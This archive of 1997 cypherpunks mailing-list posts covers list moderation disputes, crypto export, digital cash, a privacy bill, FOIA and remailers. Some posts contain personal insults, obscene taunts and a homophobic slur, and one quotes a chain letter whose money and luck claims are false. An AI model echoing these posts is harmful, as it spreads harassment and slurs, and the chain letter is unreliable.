In-Reply-To: <199702102300.PAA06838@netcom19.netcom.com>
Message-ID: <199702060432.EAA00130@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Paul Rubin <phr@netcom.com> writes:
> Is anyone on cypherpunks archiving sci.crypt?  I'd be interested
> in getting hold of some articles from some years back... thanks

There is some one who archives it, it's up for ftp.  Look in the
sci.crypt FAQ, or do a web search to find the URL.  I grabbed a copy
for Remo Pini for the crypto CD, but I've lost the URL.

The Crypto CD (I have one) has Jan 92 to Sep 94 (articles 6871 to
32742) on it.  See http://www.rpini.com/ if you're interested.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 6 Feb 1997 07:09:11 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a  cresote bush
In-Reply-To: <3.0.1.32.19970206001154.006c8e48@mail.io.com>
Message-ID: <32F9F3C2.5922@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> At 09:09 PM 2/5/97 -0500, Robert Hettinga wrote:

> I've been meaning to write up a long message explaining why I think I'm about
> to drop off of the list. It's peculiar to spend a lot of time discussing
> things with a group of people over the course of several years and then
> disappear without saying why. But I'm having trouble coming up with anything
> more profound than "it's not interesting any more." Philosophically, I agree
> with Lucky - it looks to me like it's time to kill the list and move on to
> other things. But that's not my choice to make, and perhaps other people can
> still extract something useful from this. More power to them if they can.
> I'm starting to think that cpunks may be similar to college, in that it's a
> good thing for a few years, but if you stick around too long you just get
> bitter and cranky and frustrated because the new people keep talking about
> the same old problems. Don't they know we've already talked about that?

But college continues because it wasn't designed for just one group
of people of one time period.  It was designed for everyone, and to
evolve to meet future need. If the c-punks list were to survive, it
too would have to evolve to meet future needs, and that evolution
would be sure to disappoint a lot of the older crowd.

The big difference here is that college is far from cutting edge in
anything, and the list is (or could be) cutting edge.  But nearly
everyone so far has acknowledged that, despite improvement in signal-
to-noise on the moderated list, the factor of external control has
also removed much of what was interesting.  Remove the control and
incorporate the best of the suggestions that have been made so far,
and some of that interest may return.  Perhaps more importantly, if
the principals could see their way to mend some fences along the way,
that would restore even more confidence in the list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Thu, 6 Feb 1997 07:12:56 -0800 (PST)
To: Ben <ben@edelweb.fr>
Subject: Re: About: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <Pine.SUN.3.95.970206152156.14250a-100000@lanson.gctech.edelweb.fr>
Message-ID: <Pine.SUN.3.91.970206070646.20290U-100000@crl6.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 6 Feb 1997, Ben wrote:

> > > > User of the list, has no place to talk. His type, to me,
> > > > Characterate those who quit something and complain later,
> > > > Knowing that some people will listen to them.
> > > >
> > > > So what, if he decided to leave? It was his own choice
> > > > And he can't just come back and say everyone who stayed is
> > > > Now impelled to listen to him, just because he used to
> > > > Do a bunch of posts. I don't think that hardly any of
> > > > You would listened to me later if I left the list.
> > 
> >  I write good englich, but I write it verticaly, not horizontaly.
> > Try reading the above up-to-down, just the first letters of
> > each line.
> >  It may be kindegarten crypto, but it made it onto the censored
> > list.

Touche!  


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Feb 1997 06:01:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <199702060025.QAA07526@toad.com>
Message-ID: <ZVeP2D41w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> writes:

> Anil Das <das@sgi.com> writes:
>
> > Dr.Dimitri Vulis KOTM wrote:
> > >
> > > Learn to use an anonymous remailer.
> >
> > Thanks for the hint, Dr. Vulis. I have registered for a course, but
> > seats are available only in fall.
>
> Toilet seats in the state of free fall?
>
> The stego on Sandy's moderated list blows my mind...

And Sandy blows Sameer, and Greg blows John...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Feb 1997 06:05:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <32F98300.78A1@gte.net>
Message-ID: <w4eP2D42w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Dale Thorn <dthorn@gte.net> writes:
>
> > > > > The drunk can be excluded, but when someone wants to use the drunk as
> > > > > an example to escalate the exclusion to other persons who are not in
> > > > > fact drunk, watch out!
>
> > > > If I get really really drunk, which happens very seldom, then I'm
> > > > too drunk to post. I don't mind an occasional beer, though.
>
> > > > Oksas, have you ever tried beer? :-)
>
> > > I had my first beer(s) in three years at one of those industrial
> > > parties last night.  It made the craps table action seem a bit
> > > merrier, and the girls were friendlier too.
>
> > I like an occasional Coors Lite.  BTW I think Limey Faggots are right about
> > one think: I like room-temperature beer better than cold beer. YMMV.
>
> Interesting coincidence for people on opposite coasts - the bar at
> the hotel had two choices:  Bud regular and Coors light.  I took the
> Coors.

I remember when one had trouble getting Coors in NY: had something to do
with their giving $$ to the Nicaragua contras and upsetting the
politically correct distributors.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Thu, 6 Feb 1997 04:46:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702061227.HAA13082@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


bite your penis.

            /_/\/\
            \_\  / Tim C[reep] May
            /_/  \
            \_\/\ \
               \_\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Feb 1997 08:41:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks spread chain letters
In-Reply-To: <199702061331.IAA02343@dub-mail-svc-1.compuserve.com>
Message-ID: <cgJP2D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Now the punks are sending me "good luck" letters...

What a bunch of losers. No wonder they bend over for Gilmore.

>                        St. Jude
> 
>         Kiss someone you love when you get this letter and make magic.  This
> paper was sent to you for good luck.  The original copy is in New England.  I
> has been around the world nine times.  The Luck has been sent to you.  You
> will receive good luck in four days.  This is no joke.  You will receive it i
> the mail.  send copies to people that you think need good luck.  Don't send
> money as fate has no price.  Do not keep this letter.  It must leave your
> hands in 96 hours.  An Air Force officer received $70,000 in four days.  Joe
> Elliot received $40,000 and lost it because he broke the chain.  While in the
> Philippines, Gene Wolf lost his wife six days after receiving this letter.  H
> failed to circulate the letter.  However, before he death, she won $50,000 in
> a lottery.  The money was transferred to him four days after he decided to
> mail this letter.  Please make twenty copies of this letter and see what
> happens in four days.  The chain comes from South Venezuela and was written b
> Saint Anthony Decroc, a missionary from South America.  Since the copy must
> make a tour of the world, you must make twenty copies and send them to your
> friends and associates.  After a few days you will get a surprise.  This is
> true even though you are not superstitious.  So note the following: 
> Constantine Dens received the chain in 1958.  He asked his secretary to make
> twenty copies and send them out.  A few days later he won the lottery of 2
> million dollars.  Andy Doddit, and office employee, received a letter and
> forgot it had to leave his hands within 96 hours, he lost his job.  Later,
> after finding the letter again, he mailed out twenty copies.  A few days late
> he got a better job.
> Please send no money.  Please don't ignore this.  IT DOES WORK.
> 
> 
> 
>                        St. Jude
> 
>         Kiss someone you love when you get this letter and make magic.  This
> paper was sent to you for good luck.  The original copy is in New England.  I
> has been around the world nine times.  The Luck has been sent to you.  You
> will receive good luck in four days.  This is no joke.  You will receive it i
> the mail.  send copies to people that you think need good luck.  Don't send
> money as fate has no price.  Do not keep this letter.  It must leave your
> hands in 96 hours.  An Air Force officer received $70,000 in four days.  Joe
> Elliot received $40,000 and lost it because he broke the chain.  While in the
> Philippines, Gene Wolf lost his wife six days after receiving this letter.  H
> failed to circulate the letter.  However, before he death, she won $50,000 in
> a lottery.  The money was transferred to him four days after he decided to
> mail this letter.  Please make twenty copies of this letter and see what
> happens in four days.  The chain comes from South Venezuela and was written b
> Saint Anthony Decroc, a missionary from South America.  Since the copy must
> make a tour of the world, you must make twenty copies and send them to your
> friends and associates.  After a few days you will get a surprise.  This is
> true even though you are not superstitious.  So note the following: 
> Constantine Dens received the chain in 1958.  He asked his secretary to make
> twenty copies and send them out.  A few days later he won the lottery of 2
> million dollars.  Andy Doddit, and office employee, received a letter and
> forgot it had to leave his hands within 96 hours, he lost his job.  Later,
> after finding the letter again, he mailed out twenty copies.  A few days late
> he got a better job.
> Please send no money.  Please don't ignore this.  IT DOES WORK.
> 
> 
> 
> 


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Thu, 6 Feb 1997 07:43:02 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: [RRE FWD] PKI: 10 Public Policy Questions
In-Reply-To: <199702060542.VAA13795@toad.com>
Message-ID: <Pine.SUN.3.95.970206104600.16583H-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


For a more, um, nuanced view see
http://www.law.miami.edu/~froomkin/articles/trusted.htm

==
The above may have been dictated via Dragon Dictate 2.51 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 6 Feb 1997 08:21:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: NOW_ire
Message-ID: <1.5.4.32.19970206161614.006d1f2c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-5-97:

"FCC Bandwidth Forum Panelist Says Wireless Is Potential
'Wild Card' in Planning for Future Broadband Access"

   Suggests that wireless is the better than wire, cable, or satellite
   for future communications by bypassing their technological and 
   environmental limitations.

"GTE Wireless Launches Long-Anticipated CS-CDPD Service; Other
Cellular Carriers Continue to Reject Hybrid Approach"

   A variation from CDMA and TDMA.

-----

NOW_ire

And the FCC Broadband Forum report cited in the first article at:

   http://jya.com/fcc970123.htm  (322K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@replay.com>
Date: Thu, 6 Feb 1997 02:34:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: pgpmail 4.5
Message-ID: <199702061031.LAA10437@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer sez:

: you wrote:

: There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming.
: The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'.

: i downloaded the same.  md5 5ea438501d0133f0849c2fe8f9125b6b
: can someone clear this up?

[usura@basement]:/pub/ftp/pub/crypto/incoming {22}$ md5 pgpmail45.exe
5ea438501d0133f0849c2fe8f9125b6b pgpmail45.exe 

--
-AJ-




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <ray@earthweb.com>
Date: Thu, 6 Feb 1997 08:45:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: True story, Fly the Obsfucted Skies (fwd)
Message-ID: <Pine.SOL.3.91.970206114532.27929A-100000@fox>
MIME-Version: 1.0
Content-Type: text/plain


---------- Forwarded message ----------
Date: Thu, 6 Feb 1997 00:18:18 -0500
From: Salvatore Denaro <sal@panix.com>
To: 'Ray Arachelian' <ray@earthweb.com>
Subject: True story, Fly the Obsfucted Skies

I was at the airport, checking in at the gate. An airport employee
asked me (and I quote)

 "Has anyone put anything in your baggage without your knowledge?"

I thought about it. I scratched my goatee. I said:

 "If it was without *my* knowledge... how would *I* know about it?"

He smiled. He nodded his head, knowingly. He then gave me this cryptic
reply,

 "That's why we ask."

-- 
Salvatore Denaro     "The only difference between me and a madman
sal@panix.com         is that I am not mad." -- Salvador Dali





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Lehmann (SSASyd)" <LEHMANNJ@saatchi.com.au>
Date: Wed, 5 Feb 1997 17:16:26 -0800 (PST)
To: "'cypher-punks'" <cypherpunks@toad.com>
Subject: British export restrictions?
Message-ID: <32F9412D@smtp.saatchi.com.au>
MIME-Version: 1.0
Content-Type: text/plain



Anyone know how the British govt. falls on crypto export legislation?

 --
John Lehmann





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 6 Feb 1997 09:28:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Blessing in Disguise? (H.R. 98, the "Consumer Internet PrivacyProtection Act of 1997")
Message-ID: <v0300780aaf1fbc3274d5@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



This attempted legislation (see forward, below) is a blessing in disguise.

It's just more proof that book-entry commerce isn't going to work on the
net in the long run.

SET looks like it's having problems with Japanese commerce rules, which is
another example of this problem.

Cash settlement between blinded pseudonyms fixes all of these problems.

I like to joke that if digital commerce is flight, then book entry
settlement is Boyle's Law, and cryptography is Bernoulli's law, viz,

+  Sending a credit card in the clear is jumping off a cliff. The height of
the cliff you jump off is related to the number of times you send an
unencrypted credit card number and the amount you charge.  Credit card
companies aren't going to be guaranteeing all those trades much longer if
they lose too much money.

+  First Virtual is a tethered balloon. You're up in the air, but you don't
know what for, because all the action is happening on the ground. ;-).

+  SET, Cybercash/coin, SSL, and other encrypted-channel book entry
methods, is a derigeble. You're flying, but you're using minimally strong
crypto like little aerodynamic fins to push the giant gas bag of book-entry
settlement around.

+  Digital bearer certificate technology, like ecash, or MicroMint, or
Millicent, is an airplane. It "flys" with "wings" of strong cryptography,
which gives us reputation capital and enforcement, and instantly settled
microintermediated transactions. Thus, like aerodynamic flight, it will be
faster, cheaper, and easier to use than book-entry "derigible" transaction
methods.


Cheers,
Bob Hettinga



--- begin forwarded text


Date:         Thu, 6 Feb 1997 11:24:09 EST
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         "Jonathan I. Ezor" <jezor@NEWMEDIALAW.COM>
Subject:      Congressional Bill worse for 'Net than CDA? (crosspost)
Comments: To: wwwac@echonyc.com, noend@laguna.taos.com, isales@mmgco.com,
          imarcom@internet.com
To:           CYBERIA-L@LISTSERV.AOL.COM

Sorry for the crossposting, but I felt this one might be important enough
to do it.  The following is a shortened version of an article I've written
for my firm's client newsletter about H.R. 98, the "Consumer Internet
Privacy Protection Act of 1997", introduced by Rep. Bruce Vento (D. MN) on
January 7, 1997.  As the article describes, if the bill were enacted as
drafted, Internet commerce could conceivably be stopped dead in its tracks,
along with most of the reduced-fee-for-demographics online services.
Privacy is quite important, and many of us have worked and are working
extremely hard to protect privacy appropriately while still providing
convenient services to users, but this bill is way beyond a reasonable
approach.  I haven't seen much discussion about this bill, but it's now in
committee, and the time to act may be upon us.  Feel free to
e-mail/call/fax/talk to me with any further questions.  I look forward to
your feedback.  {Jonathan}

Jonathan I. Ezor
New Media Attorney, Davis & Gilbert, 1740 Broadway, New York, NY 10019
Tel: 212-468-4989   Fax: 212-468-4888   E-mail: jezor@newmedialaw.com


-----------------------------Cut here-------------------------------

Congress Tackles Internet Privacy


        Recently, there has been significant press coverage over real and
rumored revelations of personal information such as Social Security numbers by
online services, including the alleged availability (later shown to be untrue)
of mothers' maiden names and Social Security numbers on LEXIS' P-Trak database,
and various governmental bodies have held hearings on issues of online privacy.
On January 7, 1997, Representative Bruce F. Vento (D. MN) introduced the
"Consumer Internet Privacy Protection Act of 1997," (H.R. 98)  This bill
provides that "an interactive computer service shall not disclose to a third
party any personally identifiable information provided by a subscriber to such
service without the subscriber's prior informed written consent."  It requires
online services to provide an express opt-out for subscribers at any time,
prohibits services from knowingly distributing false information about users,
and also mandates giving subscribers access to the information maintained about
them for review, updates and corrections, as well as the identity of the party
receiving the information, at no charge.  The bill authorizes the Federal Trade
Commission to "to examine and investigate an interactive computer service to
determine whether such service has been or is engaged in any act or practice
prohibited by this Act," and to issue a cease and desist order.  Notably, it
also provides that an individual may sue the violator directly without
having to
go through the FTC.

        As a general matter, this bill enacts the practice of many online
services and sites, and the position of most self-regulatory industry
groups, by
asking consent before revealing personally-identifiable information.  But the
bill goes well beyond the ordinary industry practice by requiring "prior
informed written consent," which is defined in this bill as "a statement--

                (A) in writing and freely signed by a subscriber;

                (B) consenting to the disclosures such service will make of the
information provided; and

                (C) describing the rights of the subscriber under this Act."

What this could conceivably mean is that services which have all of their
registration online may be unable to fulfill this requirement.

        Additionally, the bill is unclear about which online services will be
subject to its provisions.  It defines "interactive computer service" as "any
information service that provides computer access to multiple users via
modem to
the Internet."  This certainly covers dedicated Internet service providers
(ISP's) and combination proprietary/Internet services like America Online and
MSN.  The bill may also cover services which depend on their ability to reveal
certain information to advertisers in exchange for offering free Internet
e-mail
to their users.  Beyond that, purely Web-based services may fall into the
purview of this bill, depending on whether providing access via modem requires
that the modem dial directly into the service in question or not.

        Theoretically, this bill could even prevent online purchases absent a
signed authorization form from each purchaser, because a service would have to
reveal the name and address of the purchaser to the seller in order for the
goods to be delivered.  Even more troubling, the bill does not even provide an
exception for information shared between a service owner and the company owning
the computer hosting the service, regardless of whether there is a contractual
obligation for confidentiality, since the hosting company has access to the
information collected by the service about its users.

        As with other bills of this type, it is important for any company
intending to offer Internet-related services to individuals to follow and
perhaps attempt to affect the path of the Consumer Internet Privacy Protection
Act of 1997, since it could have significant impact on planned services,
revenue
sources and per-subscriber costs.  For those interested in forestalling this
type of governmental action, the best response may be to accelerate
self-regulatory initiatives to deal with the valid concerns of consumers
who may
be providing information about themselves and their buying habits, either
in the
process of registration or while using the service.  At the same time, the
self-regulatory bodies can create rules based on the actual business practices
and realities of their members, rather than drafting with a broad brush as
Congress does in so many instances.  If companies are going to be able to take
the greatest economic advantage of the interactivity of the Internet as opposed
to traditional broadcast and print media, there needs to be some way of legally
and ethically utilizing information provided by subscribers in order both to
enhance the subscribers' experience and to gain revenue through appropriate
business relationships with advertisers, retailers, and others who may wish
access to consumers.

Copyright 1997 Jonathan I. Ezor, Davis & Gilbert.  All rights reserved.

Jonathan I. Ezor is an attorney with Davis & Gilbert in New York City,
practicing new media and computer law, focusing on the advertising
industry.  Mr. Ezor can be reached at jezor@newmedialaw.com.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derrick Storren <dekkard@sprynet.com>
Date: Thu, 6 Feb 1997 09:28:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: FinCEN hates cybercash, who 'da thunk it...
Message-ID: <32FA14C8.5619@sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain


Big brother, Morris, at FinCEN sees a criminal behind every cyber
dollar.  The sky is falling, the sky is falling, it's raining cyber
cash!

Artilce follows :)
******************

		_G7 groups frets over electronic money laundering_

Copyright (c) 1997 Nando.net
Copyright (c) 1997 Agence France-Presse 

PARIS (Feb 6, 1997 11:30 a.m. EST) - Money-laundering fighters from key
industrial countries and leading
Asian financial centers are looking into ways of countering use of the
Internet and "smart cards" to clear
proceeds from criminal activities, officials said Thursday.

The Financial Action Task Force (FATF), set up following a Group of
Seven initiative at their l989 summit, called
in a lengthy report for closer cooperation and coordinated efforts to
fight money laundering, especially in
regard to new electronic payments technologies.

The report noted that these technologies were still "in their infancy"
and said it was "premature to consider
prescriptive solutions to theoretical problems."

But Stanley Morris of the United States Treasury, who chaired a FAFT
working group which drafted the report,
told a news conference that law enforcement agencies would face 'very
major new challenges' if new
technology moves the world "to a cashless society, beyond banks, cash
and borders."

He said the group's meeting, held in Paris last November, was the first
time an international organization has
examined "the implications of e-money - electronic money - or cyber
payments."

The group had for the first time examined "not only criminal activity as
we see it" at present, but "what kind of
crominal activites might occur as we approach the new payments
technologies relying on the revolution in
microchips and .. changes in payments services generally."

Morris, who heads the U.S. Treasury's Financial Crimes Enforcement
Network (FinCEN), said cash had
become "a significant problem" for criminal groups, which find it
increasingly difficult to channel their criminal
proceeds into the banking system, at least in FATF countries.

"We find a clear move away from direct dealing with banks to non-bank
institutions, including bureaux de
change money order sellers, and even professional services like lawyers
and accountants," he said.

The group had also seen "the realities of economic globalization," he
said, adding that financial activities are
"poorly controlled by the nation states."

Morris said the working group had therefore invited representatives of
the high technology industry now
working on the new payments technology which was still "in the prototype
stage" without any clear indication
as to the direction they might take.

"We wanted to sit down with the industry as experts on money laundering
enforcement.... to let them know now
what kinds of systems would cause us problems and give the bad guys new
opportunities," he said.

The purpose was to seek to encourage development of these technologies
"in ways that do not provide a new
forum for money laundering," he said.

The FATF was essentially a preventive business, Morris added. "We do not
measure our success simply on
arrests and (money) seizures."

FATF chairman Fernando Carpentieri, the Director General of the Italian
Treasury, said drug trafficking
remained a key source of criminal proceeds which crime groups were
seeking to "legalize."

He said the Task Force, consisting mainly of OECD member countries, as
well as Hongkong, Singapore, the
Gulf Cooperation Council and the European Commission, was not at present
considering admitting further
members to preserve its efficiency.

But it was working with the authorities of countries throughout the
world to secure the broadest possible
implementation of the anti-money laundering measures it has
recommended.> G7 groups frets over electronic money laundering




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 6 Feb 1997 13:52:56 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Cypherpunks FOIA request
In-Reply-To: <199702060356.TAA11723@toad.com>
Message-ID: <3.0.1.32.19970206125537.00602408@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:49 PM 2/5/97 -0800, Lucky Green wrote:
>My attorney used to fly planes with nuclear cargo. Another friend of mine
>has been visited several times by the FBI. In either case, the FBI claimed
>upon receiving an FOIA request that they have no record on either person.
>Does anybody here believe that the USAF would let pilots take off with
>nukes on board without ever conducting a background investigation (which
>are handled by the FBI)? I didn't think so.

Background investigations for defense contractors are handled by DISCO, 
the Defense Industrial Security Clearance Office; I don't know if they
also do internal military clearance work, but I'd assume it's
_somebody_ on the military side rather than FBI, though presumably
the military does also check FBI records (and the FBI probably doesn't
have a blanket policy of always lying to the military :-)
Nuclear clearances presumably go into more depth...

As far as your friend being visited by the FBI several times,
that's obviously part of an ongoing criminal investigation (:-),
so they don't have to tell you.  If they're still thinking about
going back and harassing your friend, it's still ongoing, even if
they now know that he is or is not a Commie Sympathizer.

That, or they could have just been unable to find the records.
Anything computerized should be findable (doesn't mean it _is_,
just that it should be), though they're probably more organized
about finding things they want to find than finding things
you want them to find.  But records that exist only on paper
are a lot tougher to wade through; you can't grep dead trees,
and if your friend was being checked out as "somebody suspicious
who knows somebody we're trying to investigate/harass", the files
may not be indentified under your friend's name, or may be
stored in some big warehouse where nobody's waded through them
in decades.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott V. McGuire" <svmcguir@syr.edu>
Date: Thu, 6 Feb 1997 10:02:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: mail-to-news fun
In-Reply-To: <199702060140.RAA08923@toad.com>
Message-ID: <Pine.LNX.3.95L01at.970206125845.294B-100000@homebox>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997 stewarts@ix.netcom.com wrote:
...snip...
> If I were going to restart a remailer, and to offer news posting,
> I'd probably limit it to posting to moderated newsgroups only,
> so a human can trash things that look like SPAM or abuse;
> the abuse that caused me to kill my remailer wasn't something
> a simple filter would catch.  (I'd also prefix each posting with a 
> header about this message having been received from an anonymous source,
> not verified, not guaranteed to be worth the electrons it's printed on,
> probably not written by anybody whose name's at the bottom, etc....
> People don't read mail headers or disclaimers at the bottom,
> and putting disclaimers like that into message text for
> email exposes the message to traffic analysis.)

How does putting it in the message expose it to traffic analysis but not
putting it in a header?

>
...snip...
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 

--------------------
Scott V. McGuire <svmcguir@syr.edu>
PGP key available at http://web.syr.edu/~svmcguir
Key fingerprint = 86 B1 10 3F 4E 48 75 0E  96 9B 1E 52 8B B1 26 05






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Thu, 6 Feb 1997 13:02:18 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Re: "Why am I being completely censored"?
In-Reply-To: <vpohdxj0i8.fsf@sten.tivoli.com>
Message-ID: <199702062102.NAA29965@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> 	I'd just appreciate it if someone would explain to me just why
> I'm being completely censored from the cypherpunks list.  ...
> Absolutely none of my recent postings are even going to
> cypherpunks-unedited, I've received no response to my mail to
> gnu@toad.com asking why, and I've received absolutely no bounces
> indicating that there are delivery problems.

I haven't investigated your story because you didn't provide enough
details and because I have been busy with other things.  There is no
infrastructure here for blocking postings from going through
cypherpunks-unedited.  It really is unedited.  Perhaps there is a
mailer problem (at your end or at mine).

If you cc'd yourself on your messages to cypherpunks, please send me a
verbatim copy of such a message that did not appear in
cypherpunks-unedited, including all the header lines.  I can trace
whether it was ever seen on the toad.com end and what happened if it
was.

Hmm.  Your message that I just received, about this problem, was cc'd
to cypherpunks.  It did not make it into the cypherpunks-unedited
list.  In examining the message header itself, there is an "Approved:
yes" line.  My guess is that your attempt to be too tricky has screwed
you.  Majordomo is probably zapping postings that claim to be, but
aren't actually, moderator-approved.  This is just a guess.  Please
try making a posting to cypherpunks without such a line, and see if it
goes through into the unedited list.  Let me know.

	John




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 6 Feb 1997 10:35:50 -0800 (PST)
To: FC97.Distribution@shipwright.com
Subject: My apologies...
Message-ID: <v03007819af1fd362e7bb@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


I'm very sorry.

I just committed a major breach of nettiquette.

I just accidentally sent out the last FC97 Revised Program to this
monsterous cc list, instead of using the bcc: field.

Again, please my most sincere apologies.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ben <ben@edelweb.fr>
Date: Thu, 6 Feb 1997 06:23:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: About: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <32FA0461.2252@toad.com>
Message-ID: <Pine.SUN.3.95.970206152156.14250a-100000@lanson.gctech.edelweb.fr>
MIME-Version: 1.0
Content-Type: text/plain


> > > User of the list, has no place to talk. His type, to me,
> > > Characterate those who quit something and complain later,
> > > Knowing that some people will listen to them.
> > >
> > > So what, if he decided to leave? It was his own choice
> > > And he can't just come back and say everyone who stayed is
> > > Now impelled to listen to him, just because he used to
> > > Do a bunch of posts. I don't think that hardly any of
> > > You would listened to me later if I left the list.
> 
>  I write good englich, but I write it verticaly, not horizontaly.
> Try reading the above up-to-down, just the first letters of
> each line.
>  It may be kindegarten crypto, but it made it onto the censored
> list.

Ahh...Sorry for the flame.  You're obviously not a native English
speaker(the Canadian address belies your origins).  Native English
speakers however have no right to poor English.

PS: The word you want is STILL characterize.

Ben.
____
